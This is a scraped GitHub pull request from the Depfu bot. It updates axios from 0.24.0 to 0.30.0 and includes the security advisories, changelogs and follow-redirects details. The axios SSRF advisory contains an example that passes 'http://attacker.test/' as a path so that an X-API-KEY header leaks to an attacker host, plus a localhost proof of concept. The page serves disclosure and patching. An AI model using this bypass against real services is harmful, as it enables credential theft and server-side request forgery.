🚨 [security] Update axios 0.24.0 → 0.30.0 (major) #102

depfu · 2025-03-28T16:08:48Z

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ axios (0.24.0 → 0.30.0) · Repo · Changelog

Security Advisories 🚨

🚨 axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({

baseURL: "http://example.test/api/v1/users/",

headers: {

"X-API-KEY": "1234567890",

},

});
// const userId = "123";

const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.

Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
Run the script:
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.

SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.

Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

🚨 Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Release Notes

0.30.0

Release notes:

Bug Fixes

fix: modify log while request is aborted by @mori5321 in #4917

fix: update CHANGELOG.md for v0.x by @TehZarathustra in #6271

fix: modify upgrade guide for 0.28.1's breaking change by @nafeger in #6787

fix: backport allowAbsoluteUrls vulnerability fix to v0.x by @thatguyinabeanie in #6829

fix: add allowAbsoluteUrls type by @thatguyinabeanie in #6849

Contributors to this release

@mori5321 made their first contribution in #4917

@TehZarathustra made their first contribution in #6271

@nafeger made their first contribution in #6787

@thatguyinabeanie made their first contribution in #6829

Full Changelog: v0.29.0...v0.30.0

0.29.0

Release notes:

Bug Fixes

fix(backport): backport security fixes in commits #6167 and #6163 to v0.x by @Sean-Powell in #6402

fix: omit nulls in params by @Willshaw in #6394

fix(backport): fix paramsSerializer function validation by @solonzhu in #6361

fix: Regular Expression Denial of Service (ReDoS) by @qiongshusheng in #6708

Contributors to this release

@Sean-Powell made their first contribution in #6402

@Willshaw made their first contribution in #6394

@solonzhu made their first contribution in #6361

@qiongshusheng made their first contribution in #6708

0.28.1

Release notes:

Release notes:

Bug Fixes

fix(backport): custom params serializer support (#6263)

fix(backport): uncaught ReferenceError req is not defined (#6307)

0.28.0

Release notes:

Bug Fixes

fix(security): fixed CVE-2023-45857 by backporting withXSRFToken option to v0.x (#6091)

Backports from v1.x:

Allow null indexes on formSerializer and paramsSerializer v0.x (#4961)

Fixing content-type header repeated #4745

Fixed timeout error message for HTTP 4738

Added axios.formToJSON method (#4735)

URL params serializer (#4734)

Fixed toFormData Blob issue on node>v17 #4728

Adding types for progress event callbacks #4675

Fixed max body length defaults #4731

Added data URL support for node.js (#4725)

Added isCancel type assert (#4293)

Added the ability for the url-encoded-form serializer to respect the formSerializer config (#4721)

Add string[] to AxiosRequestHeaders type (#4322)

Allow type definition for axios instance methods (#4224)

Fixed AxiosError stack capturing; (#4718)

Fixed AxiosError status code type; (#4717)

Adding Canceler parameters config and request (#4711)

fix(types): allow to specify partial default headers for instance creation (#4185)

Added blob to the list of protocols supported by the browser (#4678)

Fixing Z_BUF_ERROR when no content (#4701)

Fixed race condition on immediate requests cancellation (#4261)

Added a clear() function to the request and response interceptors object so a user can ensure that all interceptors have been removed from an Axios instance #4248

Added generic AxiosAbortSignal TS interface to avoid importing AbortController polyfill (#4229)

Fix TS definition for AxiosRequestTransformer (#4201)

Use type alias instead of interface for AxiosPromise (#4505)

Include request and config when creating a CanceledError instance (#4659)

Added generic TS types for the exposed toFormData helper (#4668)

Optimized the code that checks cancellation (#4587)

Replaced webpack with rollup (#4596)

Added stack trace to AxiosError (#4624)

Updated AxiosError.config to be optional in the type definition (#4665)

Removed incorrect argument for NetworkError constructor (#4656)

0.27.2

0.27.2 (April 27, 2022)

Fixes and Functionality:

Fixed FormData posting in browser environment by reverting #3785 (#4640)

Enhanced protocol parsing implementation (#4639)

Fixed bundle size

0.27.1

0.27.1 (April 26, 2022)

Fixes and Functionality:

Removed import of url module in browser build due to huge size overhead and builds being broken (#4594)

Bumped follow-redirects to ^1.14.9 (#4615)

0.27.0

0.27.0 (April 25, 2022)

Breaking changes:

New toFormData helper function that allows the implementor to pass an object and allow axios to convert it to FormData (#3757)

Removed functionality that removed the the Content-Type request header when passing FormData (#3785)

(*) Refactored error handling implementing AxiosError as a constructor, this is a large change to error handling on the whole (#3645)

Separated responsibility for FormData instantiation between transformRequest and toFormData (#4470)

(*) Improved and fixed multiple issues with FormData support (#4448)

QOL and DevX improvements:

Added a multipart/form-data testing playground allowing contributors to debug changes easily (#4465)

Fixes and Functionality:

Refactored project file structure to avoid circular imports (#4515) & (#4516)

Bumped follow-redirects to ^1.14.9 (#4562)

Internal and Tests:

Updated dev dependencies to latest version

Documentation:

Fixing incorrect link in changelog (#4551)

Notes:

(*) Please read these pull requests before updating, these changes are very impactful and far reaching.

0.26.1

0.26.1 (March 9, 2022)

Fixes and Functionality:

Refactored project file structure to avoid circular imports (##4220)

0.26.0

0.26.0 (February 13, 2022)

Fixes and Functionality:

Fixed The timeoutErrorMessage property in config not work with Node.js (#3581)

Added errors to be displayed when the query parsing process itself fails (#3961)

Fix/remove url required (#4426)

Update follow-redirects dependency due to Vulnerability (#4462)

Bump karma from 6.3.11 to 6.3.14 (#4461)

Bump follow-redirects from 1.14.7 to 1.14.8 (#4473)

0.25.0

0.25.0 (January 18, 2022)

Breaking changes:

Fixing maxBodyLength enforcement (#3786)

Don't rely on strict mode behaviour for arguments (#3470)

Adding error handling when missing url (#3791)

Update isAbsoluteURL.js removing escaping of non-special characters (#3809)

Use native Array.isArray() in utils.js (#3836)

Adding error handling inside stream end callback (#3967)

Fixes and Functionality:

Added aborted even handler (#3916)

Header types expanded allowing boolean and number types (#4144)

Fix cancel signature allowing cancel message to be undefined (#3153)

Updated type checks to be formulated better (#3342)

Avoid unnecessary buffer allocations (#3321)

Adding a socket handler to keep TCP connection live when processing long living requests (#3422)

Added toFormData helper function (#3757)

Adding responseEncoding prop type in AxiosRequestConfig (#3918)

Internal and Tests:

Adding axios-test-instance to ecosystem (#3786)

Optimize the logic of isAxiosError (#3546)

Add tests and documentation to display how multiple inceptors work (#3564)

Updating follow-redirects to version 1.14.7 (#4379)

Documentation:

Fixing changelog to show corrext pull request (#4219)

Update upgrade guide for https proxy setting (#3604)

Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:

Jay

Rijk van Zanten

Kohta Ito

Brandon Faulkner

Stefano Magni

enofan

Andrey Pechkurov

Doowonee

Emil Broman

Remco Haszing

Black-Hole

Wolfram Kriesing

Andrew Ovens

Paulo Renato

Ben Carp

Hirotaka Tagawa

狼族小狈

C. Lewis

Felipe Carvalho

Daniel

Gustavo Sales

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ follow-redirects (indirect, 1.14.5 → 1.15.9) · Repo

Security Advisories 🚨

🚨 follow-redirects' Proxy-Authorization header kept across hosts

When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.

Steps To Reproduce & PoC

Test code:
const axios = require('axios');
axios.get('http://127.0.0.1:10081/', {

headers: {

'AuThorization': 'Rear Test',

'ProXy-AuthoriZation': 'Rear Test',

'coOkie': 't=1'

}

})

.then((response) => {

console.log(response);

})
When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.

Impact

This vulnerability may lead to credentials leak.

Recommendations

Remove proxy-authentication header during cross-domain redirect

Recommended Patch

follow-redirects/index.js:464
- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);

🚨 Follow Redirects improperly handles URLs in the url.parse() function

Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

🚨 Exposure of Sensitive Information to an Unauthorized Actor in follow-redirects

Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.

🚨 Exposure of sensitive information in follow-redirects

follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor

Commits

See the full diff on Github. The new version differs by 51 commits:

🆕 asynckit (added, 0.4.0)

🆕 call-bind-apply-helpers (added, 1.0.2)

🆕 combined-stream (added, 1.0.8)

🆕 delayed-stream (added, 1.0.0)

🆕 dunder-proto (added, 1.0.1)

🆕 es-define-property (added, 1.0.1)

🆕 es-errors (added, 1.3.0)

🆕 es-object-atoms (added, 1.1.1)

🆕 es-set-tostringtag (added, 2.1.0)

🆕 form-data (added, 4.0.2)

🆕 get-proto (added, 1.0.1)

🆕 gopd (added, 1.2.0)

🆕 has-tostringtag (added, 1.0.2)

🆕 hasown (added, 2.0.2)

🆕 math-intrinsics (added, 1.1.0)

🆕 proxy-from-env (added, 1.1.0)

👉 No CI detected

You don't seem to have any Continuous Integration service set up!

Without a service that will test the Depfu branches and pull requests, we can't inform you if incoming updates actually work with your app. We think that this degrades the service we're trying to provide down to a point where it is more or less meaningless.

This is fine if you just want to give Depfu a quick try. If you want to really let Depfu help you keep your app up-to-date, we recommend setting up a CI system:

* [Circle CI](https://circleci.com), [Semaphore ](https://semaphoreci.com) and [Github Actions](https://docs.github.com/actions) are all excellent options. * If you use something like Jenkins, make sure that you're using the Github integration correctly so that it reports status data back to Github. * If you have already set up a CI for this repository, you might need to check your configuration. Make sure it will run on all new branches. If you don’t want it to run on every branch, you can whitelist branches starting with `depfu/`.

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@depfu rebase
Rebases against your default branch and redoes this update

@depfu recreate
Recreates this PR, overwriting any edits that you've made to it

@depfu merge
Merges this PR once your tests are passing and conflicts are resolved

@depfu cancel merge
Cancels automatic merging of this PR

@depfu close
Closes this PR and deletes the branch

@depfu reopen
Restores the branch and reopens this PR (if it's closed)

@depfu pause
Ignores all future updates for this dependency and closes this PR

@depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR

@depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

Update axios to version 0.30.0

b43eb27

depfu bot added the depfu label Mar 28, 2025

depfu bot mentioned this pull request Mar 28, 2025

🚨 [security] Update axios 0.24.0 → 0.28.0 (major) #92

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

🚨 [security] Update axios 0.24.0 → 0.30.0 (major) #102

🚨 [security] Update axios 0.24.0 → 0.30.0 (major) #102

Uh oh!

depfu bot commented Mar 28, 2025

Uh oh!

Uh oh!

🚨 [security] Update axios 0.24.0 → 0.30.0 (major) #102

Are you sure you want to change the base?

🚨 [security] Update axios 0.24.0 → 0.30.0 (major) #102

Uh oh!

Conversation

depfu bot commented Mar 28, 2025

What changed?

✳️ axios (0.24.0 → 0.30.0) · Repo · Changelog

Summary

Details

PoC

Impact

Release notes:

Bug Fixes

Contributors to this release

Release notes:

Bug Fixes

Contributors to this release

Release notes:

Release notes:

Bug Fixes

Release notes:

Bug Fixes

Backports from v1.x:

0.27.2 (April 27, 2022)

0.27.1 (April 26, 2022)

0.27.0 (April 25, 2022)

0.26.1 (March 9, 2022)

0.26.0 (February 13, 2022)

0.25.0 (January 18, 2022)

↗️ follow-redirects (indirect, 1.14.5 → 1.15.9) · Repo

Steps To Reproduce & PoC

Impact

Recommendations

Recommended Patch

🆕 asynckit (added, 0.4.0)

🆕 call-bind-apply-helpers (added, 1.0.2)

🆕 combined-stream (added, 1.0.8)

🆕 delayed-stream (added, 1.0.0)

🆕 dunder-proto (added, 1.0.1)

🆕 es-define-property (added, 1.0.1)

🆕 es-errors (added, 1.3.0)

🆕 es-object-atoms (added, 1.1.1)

🆕 es-set-tostringtag (added, 2.1.0)

🆕 form-data (added, 4.0.2)

🆕 get-proto (added, 1.0.1)

🆕 gopd (added, 1.2.0)

🆕 has-tostringtag (added, 1.0.2)

🆕 hasown (added, 2.0.2)

🆕 math-intrinsics (added, 1.1.0)

🆕 proxy-from-env (added, 1.1.0)

Uh oh!

Uh oh!